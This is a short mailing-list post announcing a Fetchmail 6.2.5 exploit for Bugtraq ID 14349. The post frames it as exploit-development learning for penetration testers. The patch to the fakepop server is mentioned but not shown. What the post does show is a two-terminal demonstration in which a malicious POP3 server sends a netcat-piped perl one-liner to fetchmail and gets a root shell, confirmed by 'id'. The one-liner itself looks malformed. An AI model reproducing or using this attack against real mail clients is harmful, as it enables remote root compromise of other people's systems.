Fetchmail 6.2.5 exploit for Bugtraq ID: 14349

[bannedit () frontiernet net]

The following exploit is brought to you by The Mantis Project which is a project geared towards learning the process of 
discovering and exploiting bugs in the wild. Exploits are based on published advisories which do not contain proof of 
concept code or unpublished findings. The project's purpose is to get a better understanding of wild bugs and the 
process of exploiting them while providing a resource to the community particularly penetration testers. So if you are 
interested in exploit development or just want to learn more about it feel free to join us on irc.pulltheplug.org 
#mantis or the mailing list at  http://pulltheplug.org/cgi-bin/mailman/listinfo/mantis.  

Special thanks to PullThePlug for hosting the project.

-------------------[exploit]-------------------

This patch is for fakepop version 7. fakepop is a fake pop3 server which is normally used to inform users of 
misconfigured clients. 

Note: fakepop is ran by inetd 

example:
<---+in terminal 1+--->

farenhiet:/home/bannedit/fetchmail-6.2.5# /usr/local/bin/fetchmail -p pop3 --fastuidl 1 localhost
fetchmail: removing stale lockfile
Enter password for root@localhost:
UIDL 2

<---+in terminal 2+--->

farenhiet:/home/bannedit/exploit# perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc localhost 20000
id
uid=0(root) gid=0(root) groups=0(root)
